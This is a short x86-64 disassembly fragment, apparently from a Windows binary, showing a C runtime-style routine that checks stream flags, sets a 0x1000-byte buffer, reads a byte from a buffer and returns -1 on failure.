mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x140013084
lea rdx, [0x140028410]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140013092
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x1400130b6
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x1400130b6
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x1400130b6
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x1400130dc
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret